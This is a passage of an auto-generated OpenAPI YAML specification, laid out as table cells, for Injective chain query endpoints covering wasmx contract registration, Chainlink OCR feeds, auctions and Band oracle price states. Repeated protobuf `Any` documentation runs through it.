| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Query | |
| /injective/wasmx/v1/params: | |
| get: | |
| summary: Retrieves wasmx params | |
| operationId: WasmxParams | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| params: | |
| type: object | |
| properties: | |
| is_execution_enabled: | |
| type: boolean | |
| description: >- | |
| Set the status to active to indicate that contracts can be | |
| executed in | |
| begin blocker. | |
| max_begin_block_total_gas: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| Maximum aggregate total gas to be used for the contract | |
| executions in the | |
| BeginBlocker. | |
| max_contract_gas_limit: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| the maximum gas limit each individual contract can consume | |
| in the | |
| BeginBlocker. | |
| min_gas_price: | |
| type: string | |
| format: uint64 | |
| description: >- | |
| min_gas_price defines the minimum gas price the contracts | |
| must pay to be | |
| executed in the BeginBlocker. | |
| description: >- | |
| QueryWasmxParamsRequest is the response type for the | |
| Query/WasmxParams RPC | |
| method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| tags: | |
| - Query | |
| /injective/wasmx/v1/registration_info/{contract_address}: | |
| get: | |
| summary: Retrieves contract registration info | |
| operationId: ContractRegistrationInfo | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| contract: | |
| type: object | |
| properties: | |
| gas_limit: | |
| type: string | |
| format: uint64 | |
| title: limit of gas per BB execution | |
| gas_price: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| gas price that contract is willing to pay for execution in | |
| BeginBlocker | |
| is_executable: | |
| type: boolean | |
| title: is contract currently active | |
| code_id: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| code_id that is allowed to be executed (to prevent | |
| malicious updates) - if | |
| nil/0 any code_id can be executed | |
| admin_address: | |
| type: string | |
| title: >- | |
| optional - admin addr that is allowed to update contract | |
| data | |
| granter_address: | |
| type: string | |
| title: |- | |
| Optional: address of the contract granting fee | |
| Must be set if fund_mode is GrantOnly | |
| fund_mode: | |
| title: funding mode | |
| type: string | |
| enum: | |
| - Unspecified | |
| - SelfFunded | |
| - GrantOnly | |
| - Dual | |
| default: Unspecified | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| description: >- | |
| A URL/resource name that uniquely identifies the type of | |
| the serialized | |
| protocol buffer message. This string must contain at | |
| least | |
| one "/" character. The last segment of the URL's path | |
| must represent | |
| the fully qualified name of the type (as in | |
| `path/google.protobuf.Duration`). The name should be in | |
| a canonical form | |
| (e.g., leading "." is not accepted). | |
| In practice, teams usually precompile into the binary | |
| all types that they | |
| expect it to use in the context of Any. However, for | |
| URLs which use the | |
| scheme `http`, `https`, or no scheme, one can optionally | |
| set up a type | |
| server that maps type URLs to message definitions as | |
| follows: | |
| * If no scheme is provided, `https` is assumed. | |
| * An HTTP GET on the URL must yield a | |
| [google.protobuf.Type][] | |
| value in binary format, or produce an error. | |
| * Applications are allowed to cache lookup results based | |
| on the | |
| URL, or have them precompiled into a binary to avoid any | |
| lookup. Therefore, binary compatibility needs to be preserved | |
| on changes to types. (Use versioned type names to manage | |
| breaking changes.) | |
| Note: this functionality is not currently available in | |
| the official | |
| protobuf release, and it is not used for type URLs | |
| beginning with | |
| type.googleapis.com. | |
| Schemes other than `http`, `https` (or the empty scheme) | |
| might be | |
| used with implementation specific semantics. | |
| value: | |
| type: string | |
| format: byte | |
| description: >- | |
| Must be a valid serialized protocol buffer of the above | |
| specified type. | |
| description: >- | |
| `Any` contains an arbitrary serialized protocol buffer | |
| message along with a | |
| URL that describes the type of the serialized message. | |
| Protobuf library provides support to pack/unpack Any values | |
| in the form | |
| of utility functions or additional generated methods of the | |
| Any type. | |
| Example 1: Pack and unpack a message in C++. | |
| Foo foo = ...; | |
| Any any; | |
| any.PackFrom(foo); | |
| ... | |
| if (any.UnpackTo(&foo)) { | |
| ... | |
| } | |
| Example 2: Pack and unpack a message in Java. | |
| Foo foo = ...; | |
| Any any = Any.pack(foo); | |
| ... | |
| if (any.is(Foo.class)) { | |
| foo = any.unpack(Foo.class); | |
| } | |
| Example 3: Pack and unpack a message in Python. | |
| foo = Foo(...) | |
| any = Any() | |
| any.Pack(foo) | |
| ... | |
| if any.Is(Foo.DESCRIPTOR): | |
| any.Unpack(foo) | |
| ... | |
| Example 4: Pack and unpack a message in Go | |
| foo := &pb.Foo{...} | |
| any, err := anypb.New(foo) | |
| if err != nil { | |
| ... | |
| } | |
| ... | |
| foo := &pb.Foo{} | |
| if err := any.UnmarshalTo(foo); err != nil { | |
| ... | |
| } | |
| The pack methods provided by protobuf library will by | |
| default use | |
| 'type.googleapis.com/full.type.name' as the type URL and the | |
| unpack | |
| methods only use the fully qualified type name after the | |
| last '/' | |
| in the type URL, for example "foo.bar.com/x/y.z" will yield | |
| type | |
| name "y.z". | |
| JSON | |
| The JSON representation of an `Any` value uses the regular | |
| representation of the deserialized, embedded message, with | |
| an | |
| additional field `@type` which contains the type URL. | |
| Example: | |
| package google.profile; | |
| message Person { | |
| string first_name = 1; | |
| string last_name = 2; | |
| } | |
| { | |
| "@type": "type.googleapis.com/google.profile.Person", | |
| "firstName": <string>, | |
| "lastName": <string> | |
| } | |
| If the embedded message type is well-known and has a custom | |
| JSON | |
| representation, that representation will be embedded adding | |
| a field | |
| `value` which holds the custom JSON in addition to the | |
| `@type` | |
| field. Example (for message [google.protobuf.Duration][]): | |
| { | |
| "@type": "type.googleapis.com/google.protobuf.Duration", | |
| "value": "1.212s" | |
| } | |
| parameters: | |
| - name: contract_address | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /chainlink/ocr/v1beta1/feed_config/{feed_id}: | |
| get: | |
| summary: Retrieves the OCR FeedConfig for a given FeedId | |
| operationId: FeedConfig | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| feed_config_info: | |
| type: object | |
| properties: | |
| latest_config_digest: | |
| type: string | |
| format: byte | |
| f: | |
| type: integer | |
| format: int64 | |
| 'n': | |
| type: integer | |
| format: int64 | |
| config_count: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| config_count ordinal number of this config setting among | |
| all config | |
| settings | |
| latest_config_block_number: | |
| type: string | |
| format: int64 | |
| feed_config: | |
| type: object | |
| properties: | |
| signers: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| signers ith element is address ith oracle uses to sign a | |
| report | |
| transmitters: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| transmitters ith element is address ith oracle uses to | |
| transmit a report | |
| via the transmit method | |
| f: | |
| type: integer | |
| format: int64 | |
| title: >- | |
| f maximum number of faulty/dishonest oracles the protocol | |
| can tolerate | |
| while still working correctly | |
| onchain_config: | |
| type: string | |
| format: byte | |
| description: >- | |
| onchain_config serialized data with reporting plugin | |
| params on chain. | |
| offchain_config_version: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| offchain_config_version version of the serialization | |
| format used for | |
| "offchain_config" parameter | |
| offchain_config: | |
| type: string | |
| format: byte | |
| title: >- | |
| offchain_config serialized data used by oracles to | |
| configure their offchain | |
| operation | |
| module_params: | |
| description: feed-specific params for the Cosmos module. | |
| type: object | |
| properties: | |
| feed_id: | |
| type: string | |
| title: feed_id is an unique ID for the target of this config | |
| min_answer: | |
| type: string | |
| title: lowest answer the median of a report is allowed to be | |
| max_answer: | |
| type: string | |
| title: highest answer the median of a report is allowed to be | |
| link_per_observation: | |
| type: string | |
| title: Fixed LINK reward for each observer | |
| link_per_transmission: | |
| type: string | |
| title: Fixed LINK reward for transmitter | |
| link_denom: | |
| type: string | |
| title: Native denom for LINK coin in the bank keeper | |
| unique_reports: | |
| type: boolean | |
| title: Enables unique reports | |
| description: | |
| type: string | |
| title: >- | |
| short human-readable description of observable this | |
| feed's answers pertain | |
| to | |
| feed_admin: | |
| type: string | |
| title: feed administrator | |
| billing_admin: | |
| type: string | |
| title: feed billing administrator | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: feed_id | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /chainlink/ocr/v1beta1/feed_config_info/{feed_id}: | |
| get: | |
| summary: Retrieves the OCR FeedConfigInfo for a given FeedId | |
| operationId: FeedConfigInfo | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| feed_config_info: | |
| type: object | |
| properties: | |
| latest_config_digest: | |
| type: string | |
| format: byte | |
| f: | |
| type: integer | |
| format: int64 | |
| 'n': | |
| type: integer | |
| format: int64 | |
| config_count: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| config_count ordinal number of this config setting among | |
| all config | |
| settings | |
| latest_config_block_number: | |
| type: string | |
| format: int64 | |
| epoch_and_round: | |
| type: object | |
| properties: | |
| epoch: | |
| type: string | |
| format: uint64 | |
| round: | |
| type: string | |
| format: uint64 | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: feed_id | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /chainlink/ocr/v1beta1/latest_round/{feed_id}: | |
| get: | |
| summary: >- | |
| Retrieves latest round ID and data, including median answer for that | |
| round | |
| operationId: LatestRound | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| latest_round_id: | |
| type: string | |
| format: uint64 | |
| data: | |
| type: object | |
| properties: | |
| answer: | |
| type: string | |
| observations_timestamp: | |
| type: string | |
| format: int64 | |
| transmission_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| Transmission records the median answer from the transmit | |
| transaction at | |
| time timestamp | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: feed_id | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /chainlink/ocr/v1beta1/latest_transmission_details/{feed_id}: | |
| get: | |
| summary: |- | |
| LatestTransmissionDetails returns details about the latest trasmission | |
| recorded on chain for the given feed ID. | |
| operationId: LatestTransmissionDetails | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| config_digest: | |
| type: string | |
| format: byte | |
| epoch_and_round: | |
| type: object | |
| properties: | |
| epoch: | |
| type: string | |
| format: uint64 | |
| round: | |
| type: string | |
| format: uint64 | |
| data: | |
| type: object | |
| properties: | |
| answer: | |
| type: string | |
| observations_timestamp: | |
| type: string | |
| format: int64 | |
| transmission_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| Transmission records the median answer from the transmit | |
| transaction at | |
| time timestamp | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: feed_id | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /chainlink/ocr/v1beta1/module_state: | |
| get: | |
| summary: Retrieves the entire OCR module's state | |
| operationId: OcrModuleState | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| state: | |
| type: object | |
| properties: | |
| params: | |
| description: params defines all the parameters of related to OCR. | |
| type: object | |
| properties: | |
| link_denom: | |
| type: string | |
| title: Native denom for LINK coin in the bank keeper | |
| payout_block_interval: | |
| type: string | |
| format: uint64 | |
| title: The block number interval at which payouts are made | |
| module_admin: | |
| type: string | |
| title: The admin for the OCR module | |
| feed_configs: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| signers: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| signers ith element is address ith oracle uses to | |
| sign a report | |
| transmitters: | |
| type: array | |
| items: | |
| type: string | |
| title: >- | |
| transmitters ith element is address ith oracle uses | |
| to transmit a report | |
| via the transmit method | |
| f: | |
| type: integer | |
| format: int64 | |
| title: >- | |
| f maximum number of faulty/dishonest oracles the | |
| protocol can tolerate | |
| while still working correctly | |
| onchain_config: | |
| type: string | |
| format: byte | |
| description: >- | |
| onchain_config serialized data with reporting plugin | |
| params on chain. | |
| offchain_config_version: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| offchain_config_version version of the serialization | |
| format used for | |
| "offchain_config" parameter | |
| offchain_config: | |
| type: string | |
| format: byte | |
| title: >- | |
| offchain_config serialized data used by oracles to | |
| configure their offchain | |
| operation | |
| module_params: | |
| description: feed-specific params for the Cosmos module. | |
| type: object | |
| properties: | |
| feed_id: | |
| type: string | |
| title: >- | |
| feed_id is an unique ID for the target of this | |
| config | |
| min_answer: | |
| type: string | |
| title: >- | |
| lowest answer the median of a report is allowed | |
| to be | |
| max_answer: | |
| type: string | |
| title: >- | |
| highest answer the median of a report is allowed | |
| to be | |
| link_per_observation: | |
| type: string | |
| title: Fixed LINK reward for each observer | |
| link_per_transmission: | |
| type: string | |
| title: Fixed LINK reward for transmitter | |
| link_denom: | |
| type: string | |
| title: Native denom for LINK coin in the bank keeper | |
| unique_reports: | |
| type: boolean | |
| title: Enables unique reports | |
| description: | |
| type: string | |
| title: >- | |
| short human-readable description of observable | |
| this feed's answers pertain | |
| to | |
| feed_admin: | |
| type: string | |
| title: feed administrator | |
| billing_admin: | |
| type: string | |
| title: feed billing administrator | |
| title: feed_configs stores all of the supported OCR feeds | |
| latest_epoch_and_rounds: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| feed_id: | |
| type: string | |
| epoch_and_round: | |
| type: object | |
| properties: | |
| epoch: | |
| type: string | |
| format: uint64 | |
| round: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| latest_epoch_and_rounds stores the latest epoch and round | |
| for each feedId | |
| feed_transmissions: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| feed_id: | |
| type: string | |
| transmission: | |
| type: object | |
| properties: | |
| answer: | |
| type: string | |
| observations_timestamp: | |
| type: string | |
| format: int64 | |
| transmission_timestamp: | |
| type: string | |
| format: int64 | |
| title: >- | |
| Transmission records the median answer from the | |
| transmit transaction at | |
| time timestamp | |
| title: >- | |
| feed_transmissions stores the last transmission for each | |
| feed | |
| latest_aggregator_round_ids: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| feed_id: | |
| type: string | |
| aggregator_round_id: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| latest_aggregator_round_ids stores the latest aggregator | |
| round ID for each | |
| feedId | |
| reward_pools: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| feed_id: | |
| type: string | |
| amount: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an | |
| amount. | |
| NOTE: The amount field is an Int which implements | |
| the custom method | |
| signatures required by gogoproto. | |
| title: reward_pools stores the reward pools | |
| feed_observation_counts: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| feed_id: | |
| type: string | |
| counts: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| count: | |
| type: string | |
| format: uint64 | |
| title: feed_observation_counts stores the feed observation counts | |
| feed_transmission_counts: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| feed_id: | |
| type: string | |
| counts: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| address: | |
| type: string | |
| count: | |
| type: string | |
| format: uint64 | |
| title: >- | |
| feed_transmission_counts stores the feed transmission | |
| counts | |
| pending_payeeships: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| feed_id: | |
| type: string | |
| transmitter: | |
| type: string | |
| proposed_payee: | |
| type: string | |
| title: pending_payeeships stores the pending payeeships | |
| description: GenesisState defines the OCR module's genesis state. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /chainlink/ocr/v1beta1/owed_amount/{transmitter}: | |
| get: | |
| summary: Retrieves transmitter's owed amount | |
| operationId: OwedAmount | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| amount: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the custom | |
| method | |
| signatures required by gogoproto. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| parameters: | |
| - name: transmitter | |
| in: path | |
| required: true | |
| type: string | |
| tags: | |
| - Query | |
| /chainlink/ocr/v1beta1/params: | |
| get: | |
| operationId: OcrParams | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| params: | |
| type: object | |
| properties: | |
| link_denom: | |
| type: string | |
| title: Native denom for LINK coin in the bank keeper | |
| payout_block_interval: | |
| type: string | |
| format: uint64 | |
| title: The block number interval at which payouts are made | |
| module_admin: | |
| type: string | |
| title: The admin for the OCR module | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/auction/v1beta1/basket: | |
| get: | |
| summary: Retrieves current auction basket with current highest bid and bidder | |
| operationId: CurrentAuctionBasket | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| amount: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| denom: | |
| type: string | |
| amount: | |
| type: string | |
| description: >- | |
| Coin defines a token with a denomination and an amount. | |
| NOTE: The amount field is an Int which implements the custom | |
| method | |
| signatures required by gogoproto. | |
| title: amount describes the amount put on auction | |
| auctionRound: | |
| type: string | |
| format: uint64 | |
| title: auctionRound describes current auction round | |
| auctionClosingTime: | |
| type: string | |
| format: int64 | |
| title: auctionClosingTime describes auction close time for the round | |
| highestBidder: | |
| type: string | |
| title: highestBidder describes highest bidder on current round | |
| highestBidAmount: | |
| type: string | |
| title: highestBidAmount describes highest bid amount on current round | |
| description: |- | |
| QueryCurrentAuctionBasketResponse is the response type for the | |
| Query/CurrentAuctionBasket RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/auction/v1beta1/module_state: | |
| get: | |
| summary: Retrieves the entire auction module's state | |
| operationId: AuctionModuleState | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| state: | |
| type: object | |
| properties: | |
| params: | |
| description: params defines all the parameters of related to auction. | |
| type: object | |
| properties: | |
| auction_period: | |
| type: string | |
| format: int64 | |
| title: >- | |
| auction_period_duration defines the auction period | |
| duration | |
| min_next_bid_increment_rate: | |
| type: string | |
| title: >- | |
| min_next_bid_increment_rate defines the minimum | |
| increment rate for new bids | |
| auction_round: | |
| type: string | |
| format: uint64 | |
| title: current auction round | |
| highest_bid: | |
| title: current highest bid | |
| type: object | |
| properties: | |
| bidder: | |
| type: string | |
| amount: | |
| type: string | |
| auction_ending_timestamp: | |
| type: string | |
| format: int64 | |
| title: auction ending timestamp | |
| description: GenesisState defines the auction module's genesis state. | |
| description: |- | |
| QueryModuleStateResponse is the response type for the | |
| Query/AuctionModuleState RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/auction/v1beta1/params: | |
| get: | |
| summary: Retrieves auction params | |
| operationId: AuctionParams | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| params: | |
| type: object | |
| properties: | |
| auction_period: | |
| type: string | |
| format: int64 | |
| title: >- | |
| auction_period_duration defines the auction period | |
| duration | |
| min_next_bid_increment_rate: | |
| type: string | |
| title: >- | |
| min_next_bid_increment_rate defines the minimum increment | |
| rate for new bids | |
| description: >- | |
| QueryAuctionParamsRequest is the response type for the | |
| Query/AuctionParams | |
| RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/band_ibc_price_states: | |
| get: | |
| summary: Retrieves the state for all band ibc price feeds | |
| operationId: BandIBCPriceStates | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| price_states: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| symbol: | |
| type: string | |
| rate: | |
| type: string | |
| resolve_time: | |
| type: string | |
| format: uint64 | |
| request_ID: | |
| type: string | |
| format: uint64 | |
| price_state: | |
| type: object | |
| properties: | |
| price: | |
| type: string | |
| cumulative_price: | |
| type: string | |
| timestamp: | |
| type: string | |
| format: int64 | |
| description: |- | |
| QueryBandIBCPriceStatesResponse is the response type for the | |
| Query/BandIBCPriceStates RPC method. | |
| default: | |
| description: An unexpected error response. | |
| schema: | |
| type: object | |
| properties: | |
| error: | |
| type: string | |
| code: | |
| type: integer | |
| format: int32 | |
| message: | |
| type: string | |
| details: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| type_url: | |
| type: string | |
| value: | |
| type: string | |
| format: byte | |
| tags: | |
| - Query | |
| /injective/oracle/v1beta1/band_price_states: | |
| get: | |
| summary: Retrieves the state for all band price feeds | |
| operationId: BandPriceStates | |
| responses: | |
| '200': | |
| description: A successful response. | |
| schema: | |
| type: object | |
| properties: | |
| price_states: | |
| type: array | |
| items: | |
| type: object | |
| properties: | |
| symbol: | |
| type: string | |
| rate: | |
| type: string | |
| resolve_time: | |
| type: string | |
| format: uint64 | |
| request_ID: | |
| type: string | |
| format: uint64 | |
| price_state: | |
